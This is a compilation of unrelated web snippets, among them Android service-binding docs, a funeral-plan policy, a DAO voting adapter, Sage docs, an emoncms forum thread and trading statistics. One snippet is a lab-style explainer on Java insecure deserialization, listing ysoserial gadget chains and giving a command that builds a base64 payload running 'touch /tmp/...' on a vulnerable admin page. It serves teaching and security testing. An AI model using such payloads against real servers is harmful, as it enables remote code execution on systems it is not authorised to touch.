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Android Services can be consumed in two ways; locally and remotely.
There are three main actions required in order to locally bind to a service:
1. Create and send a service intent.
2. Register a BroadcastReceiver and relevant intents in order to receive return values.
3. Provide a Service Connection class to detect when a service has been connected to and when it has disconnected.
Points to note:
1. Create the intent, supplying the app context and the class of the service, i.e. local service wrapper.
2. Invoke the bindSevice method supplying the intent, Service Connection class and a service flag
There are two actions required when provisioning this component. A Broadcast Receiver class is required which reacts to subscribed to intents and the subscription process which registers the set of intents to be listened to.
Points to note:
1. The registering of the broadcast receiver should take place as soon as possible. No registration, no received intents.
2. There is no restriction to the number of intents that can be listened for
3. The above intents are custom ones for a particular service. Android also has standard intents (cf. http://developer.android.com/reference/android/content/Intent.html)
This class is a callback mechanism for the service to notify its clients of key state changes.
Points to note:
1. There are two methods, onServiceDisconnected and onServiceConnected, which are self-explanatory
2. The boolean connectedtoCSSManager is set accordingly and no interaction should take place with the service without consulting this variable
3. The cast for the Binder object should be the Binder object used in the local service wrapper. This should have a unique name in case your client is accessing more than one service concurrently.
4. The cast of the service object returned from the Binder object is the interface used in the service wrapper's Binder class.
Remotely binding to an Android Service is slightly more complicated that the above local binding example and involves creating a Bundle object to convey the remote method invocation parameters.
The Messenger IPC mechanism that is recommended over the AIDL approach for the following reasons:
1. The service code that handles the remote invocations does not have to be threadsafe as the requests from all possible clients are queued and dealt with sequentially. If your service is required to be concurrent AIDL is the approach to take but writing and testing the code will be more difficult.
2. The Messenger mechanism does not require interfaces to be specified in AIDL although Android uses AIDL behind the scenes.
The downside with the Messenger mechanism is that it is a fragile approach in that remotely invoked methods are specified with an integer value and that value must be agreed upon by the client and service in order to invoke the correct method. In order to make the process less error-prone and allow for interface modifications, the classes RemoteServiceHandler (https://github.com/societies/SOCIETIES-Platform/blob/development/api/android/external/src/main/java/org/societies/android/api/utilities) and (https://github.com/societies/SOCIETIES-Platform/blob/development/api/android/external/src/main/java/org/societies/android/api/utilities/ServiceMethodTranslator.java) were written to make the specification and invocation of a remote method more natural.
and export it in the onBind method:
public IBinder onBind(Intent arg0) { return inMessenger.getBinder(); }
From the client perspective, the invocation of the remote method will have the following format:
and as in the local version, a broadcast receiver with suitable filters will be required in order to receive the intents from the remote methods conveying the return value.
It is possible to convey the return values of remotely invoked methods via the Messenger IPC mechanism but it entails creating an interface on the client side for the remote service to call. In the event that a client is using more than one remote service, it can be seen that the amount of boilerplate code soon increases, in comparison to simpler broadcast receivers.


Dungeons & Dragons books are buy 2, get 1 free on Amazon
Follow Polygon online:
by Charlie HallIf you’re new to Dungeons & Dragons or just looking to kick off a new campaign setting in 2020, there’s a tremendous deal on Amazon right now in honor of Black Friday. Over a dozen D&D sourcebooks are now buy 2, get 1 free.
The promotion includes the all-new Eberron: Rising from the Last War, Baldur’s Gate: Descent into Avernus, the excellent Waterdeep: Dragon Heist, or the entire core rulebooks set. The offer also extends to Dungeons & Dragons Art & Arcana, a tremendous art book that we excerpted here last year.
Related
The full list of eligible titles is included below. Publisher Wizards of the Coast also has a handy page where you can view all of their materials in one place, complete with brief synopses.
Core rulebooks
Dungeons & Dragons Core Rulebooks Gift Set
Dungeons & Dragons Character Sheets
Campaign books
Baldur’s Gate: Descent Into Avernus
Eberron: Rising from the Last War
Rick and Morty vs. Dungeons & Dragons
Waterdeep: Dungeon of the Mad Mage
Collections
Supplements
The Monsters Know What They’re Doing: Combat Tactics for Dungeon Masters
Xanathar’s Guide to Everything
Children’s books
Monsters & Creatures: A Young Adventurer’s Guide
Warriors & Weapons: A Young Adventurer’s Guide
Art books
Dungeons & Dragons Art & Arcana: A Visual History


Funeral Benefits
The Funeral Plan provides for a cash payment of a death claim of a Principal Member,
his/her Spouse, children, Extended Family Members and Wider Children, where applicable.
Funeral Package
The funeral package consists of the following benefits
- Single Benefit
- Family Benefit
- Optional Extended Family Benefit
- Senior Member Benefit
- Additional Optional Benefit, as Specified
Insured Persons Definitions
Principal Member: any Individual, who is a member of Pro Finance Plan, from Age 18 years, who is
allowed to participate in the Policy, in terms of the eligibility conditions as stated in the Policy Document.
The Maximum entry age for a Principal Member is 94 Years. A Principal Member must Live in South Africa.
Spouse: A person married to the Principal Member by Law or tribal custom or under the tenents of any Asian religion,
which shall include a Common law Spouse of the Principal Member.
Spouse
A person married to the principal Member by law or tribal custom or under the tenets of any Aspian
religion, which shall include common law Spouseof the principal Member.The maximum entry age for a
spouse is 65 years.only a maximum of two spouses may be covered per policy.
Common Law Spouse
A person who is deemed by Pro Finance,at its sole discreation,to be a spouse,considering
the circumstances of each case,and shall include,where applicable,costomary marriages,or a relationship
between two people of the same gender, or relationship between two people who have lived together for
at least six consecutive months prior to the date of death of the spouse.
Child
An unmarried child of the principal Member,younger than age 21 years,including a stepchild,
posthumus child, an illegitimate child,a legally adopted child or stillborn child(must be stillborn from the
26th week of pregnancy).only 2 stillbirth claims will be accepted per family durung the term of the policy.
cover of children is extended to under age 26 years if the child is a full-time student at a recognised
educational institution.this does not include part-time and correspondence students.children who a
mentally disabled or totally and permanently disabled before at age of 21 years,who are unable to care for
themselves,are covered until cover for the principal Member ends.Details of any children of a common
law spouse,illegitimate chid and stepchild must be supplied to Pro Finance at the time that the principal
Member joins the scheme,or within 1 month of the child becoming eligible for cover.failing this,Pro Finance will
require satisfactory proof to support any claim.
Optional Extended Family
Family members,who are dependent on the principal member for financial
assistance in the event of their death,may be covered.these include parents,parents in-law,uncles,aunts
brothers,sisters,nephews,nieces,grandparents and children(who are age 22 years and older)of the
pricipal Member.
Please Note
no maximum age fro extended family policy applications
up to extended family may be covered.
only in case of marriage may extended famly(parent in-law) be added,provided the maximum
number of extended family members has not been exceeded(approval to be granted by Pro Finance before
premiums are amended).
extended family members are not nominated more tha once by the same principal Member and the maximum
benefit limit if R60 000is not exceeded for such extended family members across aa Pro Finance plans.
Dependants
Means a spouse,children,extended family members and wider child,where applicable


A couple of nights ago I had a dream in which the protagonist was Lucas Sudja. I had—and have—absolutely no idea who Mr Sudja is, or was, and so, with my finger pressed firmly on the 21st century vacuum o' vapidity—sorry, I mean zeitgeist—I took to Facecloth to find out.
I was amused by those replies where my respondents shared their own dreams, but more pertinent to this post was Marina Organ's question whether I had Googled Lucas Sudja, and my reply. It was only when the question was put to me that I thought about the possibility of GoogleNod—a vast archive cataloguing all that is contained, not in the “real” world, but in the world of dreams.
The content of GoogleNod would of course be utterly different to the stuff we find on its parent search engine. Utterly different, but somehow, tangentially, familiar. Lucas Sudja would be there, along with the tribunal of Henry Cow-baiting Irish Maoists, indie band The Fresco Runes, Dave Brock's handmade wardrobe, and a myriad of other shimmering phantasms from the Land of Nod.
GoogleNod would simply collect the material, certainly make no attempt to “interpret” it. That fool's errand can be left to the man Vladimir Nabokov called “the Viennese quack” and his increasingly preposterous acolytes. It matters not what Lucas Sudja portends. What matters—if any of it matters at all—is that he now exists, however faint and fugitive, because I dreamed him.


This adapter manages offchain voting using a merkle tree to commit to a result that can be challenge during the grace period if necessary.
There are also two fallback solutions implemented:
The idea is to use a merkle tree to commit to a computation (calculate the result) and have a way to challenge a result if anyone sees an issue in the computation.
The approach assumes data availability.
Each leaf in the merkle tree is a "step" in computing the vote result. The last leaf is the result (and the leaf submitted).
This works with a modified version of snapshot that uses ERC-712 for hashing / signing proposals and votes
How long does a vote occur.
How long does anyeone have to challenge a result if an issue is spotted.
What threshold ( in % ) of members need to request a fallback voting for it to kick in.
Admin function (only owner can call it) to fail a proposal. Used as a failsafe if anything goes wrong since the adapter is still new
Submits a new vote result for a specific dao / proposalId. result is the last step that contains the vote result. resultRoot is the merkle root of the computation merkle tree.
If a result has been already published, it checks whether this one has more steps (index is higher) or if the vote is already finished.
If the voting period is not done yet but the result cannot be changed anymore (50+% have voted either yes or no), the grace period starts right away
Returns the status of a vote session.
Checks and marks a result as bad if a specific node has bad data. The checks are:
function defining what a valid choice is
Checks that the step from a node to another is correct or not let's define a step function S(state, choice) that creates a new state based on a previous one and a choice We check that S(previousState, currentChoice) = currentState If not, we challenge the result
If something is wrong with the vote but it is not possible to challenge it, members can request a fallback
If a result has been challenged, it is needed to vote on the faith of the reporter. Should he continue being a member or should he be banned.
Process the vote for the faith of a bad reporter


Canonical augmentation#
This module implements a general algorithm for generating isomorphism classes of objects. The class of objects in question must be some kind of structure which can be built up out of smaller objects by a process of augmentation, and for which an automorphism is a permutation in \(S_n\) for some \(n\). This process consists of starting with a finite number of “seed objects” and building up to more complicated objects by a sequence of “augmentations.” It should be noted that the word “canonical” in the term canonical augmentation is used loosely. Given an object \(X\), one must define a canonical parent \(M(X)\), which is essentially an arbitrary choice.
The class of objects in question must satisfy the assumptions made in the
module automorphism_group_canonical_label
, in particular the three
custom functions mentioned there must be implemented:
refine_and_return_invariant
:Signature:
int refine_and_return_invariant(PartitionStack *PS, void *S, int *cells_to_refine_by, int ctrb_len)
compare_structures
:Signature:
int compare_structures(int *gamma_1, int *gamma_2, void *S1, void *S2, int degree)
all_children_are_equivalent
:Signature:
bint all_children_are_equivalent(PartitionStack *PS, void *S)
In the following functions there is frequently a mem_err input. This is a pointer to an integer which must be set to a nonzero value in case of an allocation failure. Other functions have an int return value which serves the same purpose. The idea is that if a memory error occurs, the canonical generator should still be able to iterate over the objects already generated before it terminates.
More details about these functions can be found in that module. In addition, several other functions must be implemented, which will make use of the following:
ctypedef struct iterator:
void *data
void *(*next)(void *data, int *degree, int *mem_err)
The following functions must be implemented for each specific type of object to
be generated. Each function following which takes a mem_err
variable as
input should make use of this variable.
generate_children
:Signature:
int generate_children(void *S, aut_gp_and_can_lab *group, iterator *it)
This function receives a pointer to an iterator
it
. The iterator has two fields:data
andnext
. The functiongenerate_children
should set these two fields, returning 1 to indicate a memory error, or 0 for no error.The function that
next
points to takesdata
as an argument, and should return a (void *
) pointer to the next object to be iterated. It also takes a pointer to an int, and must update that int to reflect the degree of each generated object. The objects to be iterated over should satisfy the property that if \(\gamma\) is an automorphism of the parent object \(S\), then for any two child objects \(C_1, C_2\) given by the iterator, it is not the case that \(\gamma(C_1) = C_2\), where in the latter \(\gamma\) is appropriately extended if necessary to operate on \(C_1\) and \(C_2\). It is essential for this iterator to handle its owndata
. If thenext
function is called and no suitable object is yielded, a NULL pointer indicates a termination of the iteration. At this point, the data pointed to by thedata
variable should be cleared by thenext
function, because the iterator struct itself will be deallocated.The
next
function must checkmem_err[0]
before proceeding. If it is nonzero then the function should deallocate the iterator right away and return NULL to end the iteration. This ensures that the canonical augmentation software will finish iterating over the objects found before finishing, and themem_err
attribute of thecanonical_generator_data
will reflect this.The objects which the iterator generates can be thought of as augmentations, which the following function must turn into objects.
apply_augmentation
:Signature:
void *apply_augmentation(void *parent, void *aug, void *child, int *degree, bint *mem_err)
This function takes the
parent
, applies the augmentationaug
and returns a pointer to the corresponding child object (freeing aug if necessary). Should also update degree[0] to be the degree of the new child.free_object
:Signature:
void free_object(void *child)
This function is a simple deallocation function for children which are not canonically generated, and therefore rejected in the canonical augmentation process. They should deallocate the contents of
child
.free_iter_data
:Signature:
void free_iter_data(void *data)
This function deallocates the data part of the iterator which is set up by
generate_children
.free_aug
:Signature:
void free_aug(void *aug)
This function frees an augmentation as generated by the iterator returned by
generate_children
.canonical_parent
:Signature:
void *canonical_parent(void *child, void *parent, int *permutation, int *degree, bint *mem_err)
Apply the
permutation
to thechild
, determine an arbitrary but fixed parent, apply the inverse ofpermutation
to that parent, and return the resulting object. Must also set the integerdegree
points to the degree of the returned object.
Note
It is a good idea to try to implement an augmentation scheme where the degree of objects on each level of the augmentation tree is constant. The iteration will be more efficient in this case, as the relevant work spaces will never need to be reallocated. Otherwise, one should at least strive to iterate over augmentations in such a way that all children of the same degree are given in the same segment of iteration.
EXAMPLES:
sage: import sage.groups.perm_gps.partn_ref.canonical_augmentation
REFERENCE:
[1] McKay, Brendan D. Isomorph-free exhaustive generation. J Algorithms, Vol. 26 (1998), pp. 306-324.


My name is Abdul Ibrahim and I'm an 19 year-old, self-taught developer who loves to use technology to make people's lives easier and bring their ideas and imaginations to life. My passion is bridging the gap between our thoughts and reality.
 Otherwise, you risk looking like a tiny operation that isn’t going to be able to deliver great service.
People don’t just browse the Internet to discover companies they want to do businesses with; more specifically, they visit search engines.
Being approachable 24/7, your potential and regular customers can purchase with ease, no matter when and where they are.
As a small business owner, you probably think you can’t afford a professional website. The fact is, you are not in a position not to afford one. Paying influencers will only run your business dry.
Functionality and attention to detail are at the center of my customer service. From React to JQuery and MongoDB, I use the best frameworks and libraries to give you the sleekest and most interactive websites. All to your exact liking.
First impressions are invaluable. Your website is your most important product as it's the first chance the public has to get to know you as a brand or service and I work very closely with you to deliver webpages that adequately convey your identity.
Well laid out pages with intelligent APIs and databases are important for the navigation and reocrd keeping which is key to a successful business.
Beautiful and animative websites such as this one or relaxed and playful websites are my speciality. I can make your site fit any aesthetic you're going for.
Seamless and intuitive buttons and prompts are imporant to keep potential clients interested and drastically improves the chance they'll come back.
Typography, colour science and even font style are used to subconciously convey beauty and elegance to anyone viewing your webpage and can also help in strategically influence them into making certain decisions.
When it comes to marketing, having a website that is optimized for search can be one of the most cost-effective marketing strategies. I specialize in designing websites that consistently rank high using a blend of on-page and off-page SEO techniques.
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Embedding a video onto a web page becomes as easy as cutting and pasting.
YouTube responsive video
Here's an example of a YouTube video that is directly embedded into this page. How do you do it? When you locate a video you'd like to add to your page on YouTube, look below the video for a Share button.
Vimeo responsive video
Embedding allows you to take your video — or someone else's video — and post it on a web page outside of Vimeo. For example, you can embed a video on your blog and then people can watch your video there without having to visit Vimeo.
Stream YouTube playlist by its ID
Here's an example of a YouTube video playlist that is directly embedded into this page. In that way you could present a video course. How do you do it? Just copy the id of your playlist that you can find in it's url and the plugin will do the rest.
Custom Video
Videos are fully under your control. Now you can stream videos hosted anywhere.
Custom Video Playlist
In case you have an entire course you would like to share with your customers, this component could be the best solution for you.
Share high quality audio files with you audience as well.
Gif Player
By watching those short demo-gif you will better understand how the template works. In those demos we share some best practice recommendations to help you optimize your experience.


Seduction poster (2006)
Michelle Leong, Marian Bantjes, Michael Bierut
About
This is a Poster. It was designed by Michelle Leong and calligrapher: Marian Bantjes and the design director was Michael Bierut and from the office of Pentagram. It is dated 2006–07 and we acquired it in 2007. Its medium is offset lithograph on white wove paper. It is a part of the Drawings, Prints, and Graphic Design department.
The titling for Seduction, a poster for the Yale School of Architecture Symposium January 20–21, 2007, was commissioned by Pentagram. Marian Bantjes uses a calligraphic synthesis of Gothic and Arabic type fonts to create lettering that seems familiar yet new. The slightly sinister sensation is enhanced by the juxtaposition of thick, fleshy volumes tapering to a curling hair line.
A trend in contemporary design is the reexamination of the use of ornament as a counterpoint to the traditional clarity of the grid. Bantjes mines the history of calligraphy, type design, ornament, and oriental symbols and enlivens their compositions. Self-consciously autobiographical in tone, Bantjes's elaborate samplings of images, flourishes, and fonts take graphic design in a fresh new direction.
This object was donated by Marian Bantjes. It is credited "Gift of Marian Bantjes."
Dimensions
86.4 x 81.3 cm (34 x 32 in.)


HashProof can help you build better products using the blockchain technologies and approaches!
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REDMINE ACTIVITY
Redmine server name
Redmine context path
Redmine userid
Mail to address
Connect test


KARAN PAUL CHAUDHARY
What's your take on the DBC/EDA experience?
EDA is the best decision that I have taken in my life.For all these years my parents decided What to study but this was the first time I decided to study something and I am loving it.
What are your impressions?
My impressions so far is to enjoy this time ,this is not a exam that i will fail and will be thrown away .This is about creating your own aura
How do you see yourself engaging with this type of culture?
I take it as my responsibilty to care for everyone in group and to be humble with the respect I recive back.
Have your expectations of EDA changed? If so, how?
Yes they did,earlier I was all about getting a job without effort but now its about enoying your everyday with small efforts.
Are you excited to participate in this kind of learning environment? Does it make you nervous?
Yes I am excited but it also makes me nervous because humans are tend to do mistakes but that what eda teaches us to do mistakes but recover from them in a right way.


This page allows you to configure what the FTP server logs, and where it
logs to. The options available are :
- Log all commands for
- Users of the selected types will have every command logged
- Log transfers for
- Users of the selected types will have transfers in the selected directions
logged.
- Log transfers to
- Determines whether transfers are logged to syslog, or the WU-FTPd
xferlog file, usually /var/log/xferlog.
- Log security violations for
- Users of the selected types will have have security violations logged
to syslog


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This is the whiteboard. Use this area to share and edit files, enlarge other users' video, and work together.


The Hippo Submersible Bottom Suction Pump Range is used in applications where the solid particles in the liquid has already settled out and needs to be agitated before being pumped. The all metal pump construction with High Chrome hydraulic design as standard contribute durability and high efficiency. The pump can be manufactured out of all types of Duplex Stainless Steel Alloys e.g. (CD4MCu) for acidic environments. The HIPPO pump range can be fitted with wide variety accessories to accommodate the client’s requirements.
To pump in explosive environments all Hippo Submersible Pumps comply to:
The Hippo SB Heavy Duty Slurry Pumps are excellent to use in a complex slurry or de-watering pumping applications. The combination of compact design with high-pressure capability makes the pumps suitable for use in pits, on pontoons or can be installed in a temporary or fixed installation. The installation design options provide the flexibility requirements to cover all industry needs. Some applications include:


Deserialization was a lot in the news lately with the Equifax breach being conducted via a deserialization attack in Apache Struts.
The combination of using unpatched 3rd party components that have deserialization vulnerabilities can be fatal.
The Open Source project ysoserial provides an open source tool to test and exploit Insecure Deserialization flaws in Java apps.
Below is an excerpt from the vulnerable 3rd party libraries that ysoserial supports.
The scariest part is that these 3rd party components don't even need to be directly used.
They only need to be on the class path of the vulnerable application and the class loader will attempt to deserialize them if a vulnerable type is sent.
$ java -jar ysoserial.jar Y SO SERIAL? Usage: java -jar ysoserial.jar [payload] '[command]' Available payload types: Payload Authors Dependencies ------- ------- ------------ BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 C3P0 @mbechler c3p0:<IP_ADDRESS>, mchange-commons-java:0.2.11 Clojure @JackOfMostTrades clojure:1.8.0 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 CommonsCollections1 @frohoff commons-collections:3.1 CommonsCollections2 @frohoff commons-collections4:4.0 CommonsCollections3 @frohoff commons-collections:3.1 CommonsCollections4 @frohoff commons-collections4:4.0 CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 CommonsCollections6 @matthias_kaiser commons-collections:3.1 FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 Groovy1 @frohoff groovy:2.3.9 Hibernate1 @mbechler Hibernate2 @mbechler JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 JRMPClient @mbechler JRMPListener @mbechler JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 Jdk7u21 @frohoff Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 MozillaRhino1 @matthias_kaiser js:1.7R2 Myfaces1 @mbechler Myfaces2 @mbechler ROME @mbechler rome:1.0 Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 URLDNS @gebl Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4Here are the OWASP Top 10 links for Using Components with Known Vulnerabilities and Insecure Deserialization
Prevalence of this issue is very widespread. Component-heavy development patterns can lead to development teams not even understanding which components they use in their application or API, much less keeping them up to date.
The impact of deserialization flaws cannot be overstated. These flaws can lead to remote code execution attacks, one of the most serious attacks possible.
The website allows an administration page to process Java objects.
The password to the administration site is one of the most commonly used (see brute force challenge)
Once you are logged in you will notice that the application accepts serialized command objects. You can use ysoserial to generate a
base64 encoded gadget.
The challenge is to create a file in the 'tmp' folder of the server. You can use a ysoserial from Linux or Windows bash like this:
java -jar ysoserial-master.jar CommonsCollections6 'touch /tmp/YOUR_FILE_NAME'|base64


I've installed emoncms on an odroid u3 under arch... and have got I thought everything sorted out... but still the in comming data from the PI isn't being stored, the data files never get bigger, and I can't see the charted data.
I modifed the hard coded place for storing data /home/pi/data/php??? to my location /var/lib/php??? and files are created but just never go beyound 0 size.
The emoncms.log shows data comming in the feed and input look ok, simular to the pi which is also logging the same data.
I added two report lines in the /etc/emonhub/emonhub.conf so that data gets posted to the pi emoncms and the u3 version, and also the emoncms.org. Just testing things out.
Any help why data isn't getting stored or where I can poke and look to understand whats going on better.
Re: emoncms-Feed data isn't being stored
Have you set the permissions for the new data folders?
sudo chown www-data:root /var/lib/php???
Paul
Re: emoncms-Feed data isn't being stored
Yes the permissions are set, my httpd user is different on arch... but I have empty files created there at least.
Re: emoncms-Feed data isn't being stored
If you moved the data files to their present locations, are the permissions ok for the files themselves?
Re: emoncms-Feed data isn't being stored
I';m still stuck, the data wasn't moved there... and empty files are created but never any data is witten.
Any ideas where to look ?
Thanks
Re: emoncms-Feed data isn't being stored
Did both the .dat and .meta files get created under /var/lib/phpfina, /var/lib/phpfiwa and phptimeseries?
Can you try manually posting inputs via, does it show any errors?
http://SERVER/emoncms/input/post.json?node=1&csv=100,200,300
What does your input process list look like, are you just logging the values?
Re: emoncms-Feed data isn't being stored
The meta data is never created in the var/lib/phpfina
[root@u3 lib]# ls -lR /var/lib/php*
/var/lib/phpfina:
total 0
/var/lib/phpfiwa:
total 0
/var/lib/phptimeseries:
total 0
-rw-r--r-- 1 http http 0 Mar 18 16:16 feed_41.MYD
-rw-r--r-- 1 http http 0 Mar 18 16:16 feed_42.MYD
-rw-r--r-- 1 http http 0 Mar 18 16:16 feed_43.MYD
-rw-r--r-- 1 http http 0 Mar 18 16:16 feed_44.MYD
-rw-r--r-- 1 http http 0 Mar 18 16:16 feed_45.MYD
-rw-r--r-- 1 http http 0 Mar 18 16:21 feed_46.MYD
-rw-r--r-- 1 http http 0 Mar 18 16:21 feed_47.MYD
-rw-r--r-- 1 http http 0 Mar 18 16:21 feed_48.MYD
I'm just logging the values to PHPTIMESERIES, but the meta data isn't created it seems. There should be files in the phpfina dir? Permissions for these dir's are completely open right now.
Re: emoncms-Feed data isn't being stored
Additionally, Yes I could post data, via the manual method you mention, and no error messages from the browser or in emoncms.log were shown...
I'm really confused....


| Total net profit | -9.6 | Gross profit | 5.05 | Gross loss | -14.65 |
| Profit factor | 0.34 | Expected payoff | -0.11 | ||
| Absolute drawdown | -9.6 | Maximal drawdown (%) | 9.92 (3100.0%) | ||
| Total trades | 89 | Profit trades (% of total) | 34 (38.2%) | Loss trades (% of total) | 55 (61.8%) |
| Long positions (won %) | 55 (41.82%) | Short positions (won %) | 34 (32.35%) | ||
| Largest | profit trade | 0.66 | loss trade | -0.48 | |
| Average | profit trade | 0.15 | loss trade | -0.27 | |
| Minimum | profit trade | 0.0 | loss trade | -0.01 | |
| Maximum | take profit in pips | 75.2 | stop loss in pips | -59.2 | |
| Average | take profit in pips | 17.8 | stop loss in pips | -27.7 | |
| Minimum | take profit in pips | -5.2 | stop loss in pips | -6.5 | |
| Maximum | Reward-Risk | 4.5 | Duration in minutes | 3141 | |
| Average | Reward-Risk | 0.8 | Duration in minutes | 134.2 | |
| Minimum | Reward-Risk | 0.0 | Duration in minutes | 0 | |
| Maximum | consecutive wins (profit in money) | 4.0 (0.74) | consecutive losses (loss in money) | 12.0 (-3.31) | |
| Average | consecutive wins | 1.0 | consecutive losses | 2.0 |
| Total net profit | -5.08 | Gross profit | 3.91 | Gross loss | -8.99 |
| Profit factor | 0.43 | Expected payoff | -0.09 | ||
| Absolute drawdown | -5.08 | Maximal drawdown (%) | 4.94 (-3528.57%) | ||
| Total trades | 55 | Profit trades (% of total) | 23 (41.82%) | Loss trades (% of total) | 32 (60.0%) |
| Largest | profit trade | 0.66 | loss trade | -0.43 | |
| Average | profit trade | 0.17 | loss trade | -0.28 | |
| Minimum | profit trade | 0.0 | loss trade | -0.01 | |
| Maximum | take profit in pips | 75.2 | stop loss in pips | -59.2 | |
| Average | take profit in pips | 18.7 | stop loss in pips | -29.4 | |
| Minimum | take profit in pips | -2.5 | stop loss in pips | -9.0 | |
| Maximum | Reward-Risk | 2.7 | Duration in minutes | 3141.0 | |
| Average | Reward-Risk | 0.7 | Duration in minutes | 170.1 | |
| Minimum | Reward-Risk | 0.0 | Duration in minutes | 1.0 | |
| Maximum | consecutive wins (profit in money) | 3.0 (0.55) | consecutive losses (loss in money) | 5.0 (-1.61) | |
| Average | consecutive wins | 1.0 | consecutive losses | 1.0 |
| Total net profit | -4.52 | Gross profit | 1.14 | Gross loss | -5.66 |
| Profit factor | 0.2 | Expected payoff | -0.13 | ||
| Absolute drawdown | -4.52 | Maximal drawdown (%) | 5.03 (986.27%) | ||
| Total trades | 34 | Profit trades (% of total) | 11 (32.35%) | Loss trades (% of total) | 23 (67.65%) |
| Largest | profit trade | 0.2 | loss trade | -0.48 | |
| Average | profit trade | 0.1 | loss trade | -0.25 | |
| Minimum | profit trade | 0.03 | loss trade | -0.07 | |
| Maximum | take profit in pips | 37.2 | stop loss in pips | -45.8 | |
| Average | take profit in pips | 16.4 | stop loss in pips | -24.9 | |
| Minimum | take profit in pips | -5.2 | stop loss in pips | -6.5 | |
| Maximum | Reward-Risk | 4.5 | Duration in minutes | 669.0 | |
| Average | Reward-Risk | 0.9 | Duration in minutes | 76.0 | |
| Minimum | Reward-Risk | Duration in minutes | 0.0 | ||
| Maximum | consecutive wins (profit in money) | 4.0 (0.18) | consecutive losses (loss in money) | 8.0 (-2.18) | |
| Average | consecutive wins | 2.0 | consecutive losses | 3.0 |


When the app is launched from the app tile in Start, the Windows Store app for the camera should provide an interesting and engaging experience. This experience can be used to highlight related products, provide customer support and other services.
More information


Reports expressions that are affected by autoboxing conversion (automatic wrapping of primitive values as objects).
Try not to use objects instead of primitives. It might significantly affect performance.
Example:
Integer x = 42;
The quick-fix makes the conversion explicit:
Integer x = Integer.valueOf(42);
AutoBoxing appeared in Java 5.
This inspection can help to downgrade for backward compatibility with earlier Java versions.


AutoFixture
write maintainable unit tests faster
@kjellski
C# .net Meetup
outline
unit testing
fixtures
demo
extending
1. unit testing
why?
correctness
decoupling
changeability
rubber ducky test
2. fixtures
what?!
ease object creation
remove manual work
data you wouldn't think of
lets you focus on the test
2. fixtures
AutoFixture
Mark Seemann
& co
flexible architecture
highly customizable
adapter for many mocking frameworks
3. demo
code here on github
4. extending
bend it to your needs
open
chain of responsibilities
smaller demo
Thanks
Questions!?


Fits Gaussian univariate Bayesian spatial regression models for large datasets using Nearest Neighbor Gaussian Processes (NNGP) detailed in Datta, Banerjee, Finley, and Gelfand (2016) <doi:10.1080/01621459.2015.1044091> and Finley, Datta, Cook, Morton, Andersen, and Banerjee (2017) <arXiv:1702.00434v2>.
| Version: | 0.1.1 |
| Depends: | R (≥ 2.10), coda, Formula, RANN |
| Published: | 2017-07-21 |
| Author: | Andrew Finley [aut, cre], Abhirup Datta [aut], Sudipto Banerjee [aut], Alexander Mckim [ctb] |
| Maintainer: | Andrew Finley <finleya at msu.edu> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| URL: | http://blue.for.msu.edu/software.html |
| NeedsCompilation: | yes |
| CRAN checks: | spNNGP results |
| Reference manual: | spNNGP.pdf |
| Package source: | spNNGP_0.1.1.tar.gz |
| Windows binaries: | r-devel: spNNGP_0.1.1.zip, r-release: spNNGP_0.1.1.zip, r-oldrel: spNNGP_0.1.1.zip |
| OS X binaries: | r-release: spNNGP_0.1.1.tgz, r-oldrel: spNNGP_0.1.1.tgz |
| Old sources: | spNNGP archive |
Please use the canonical form https://CRAN.R-project.org/package=spNNGP to link to this page.


dialog
module in Electron allows you to use native
system dialogs for opening files or directories, saving a file or
displaying informational messages.
This is a main process module because this process is more efficient with native utilities and it allows the call to happen without interrupting the visible elements in your page's renderer process.
Open the full API documentation (opens in new window) in your browser.
In this demo, the ipc
module is used to send a message
from the renderer process instructing the main process to launch the
save dialog. It returns the path selected by the user which can be
relayed back to the renderer process.
const {ipcRenderer} = require('electron')
const saveBtn = document.getElementById('save-dialog')
saveBtn.addEventListener('click', (event) => {
ipcRenderer.send('save-dialog')
})
ipcRenderer.on('saved-file', (event, path) => {
if (!path) path = 'No path'
document.getElementById('file-saved').innerHTML = `Path selected: ${path}`
})
const {ipcMain, dialog} = require('electron')
ipcMain.on('save-dialog', (event) => {
const options = {
title: 'Save an Image',
filters: [
{ name: 'Images', extensions: ['jpg', 'png', 'gif'] }
]
}
dialog.showSaveDialog(options, (filename) => {
event.sender.send('saved-file', filename)
})
})


[1]
i wanted to buy some but unfortunately had no space to take them on the motorbike .
[2]
spacious and with a lot of light and well decorated and the toilet is quite big .


We are excited to launch our new company and product Ooooh. After being featured in too many magazines to mention and having created an online stir, we know that Ooooh is going to be big. You may have seen us in the Dinosaurs’ Den where we were we told that we didn’t need them because we were already doing it so well ourselves, so that’s what we have continued to do. We also hope to win Startup Fictional Business of the Year this Year.
We are excited to launch our new company and product Ooooh. After being featured in too many magazines to mention and having created an online stir, we know that Ooooh is going to be big. You may have seen us in the Dinosaurs’ Den where we were we told that we didn’t need them because we were already doing it so well ourselves, so that’s what we have continued to do.


former Taking Back Sunday members Fred Mascherino & Eddie Reyes touring & DJing together
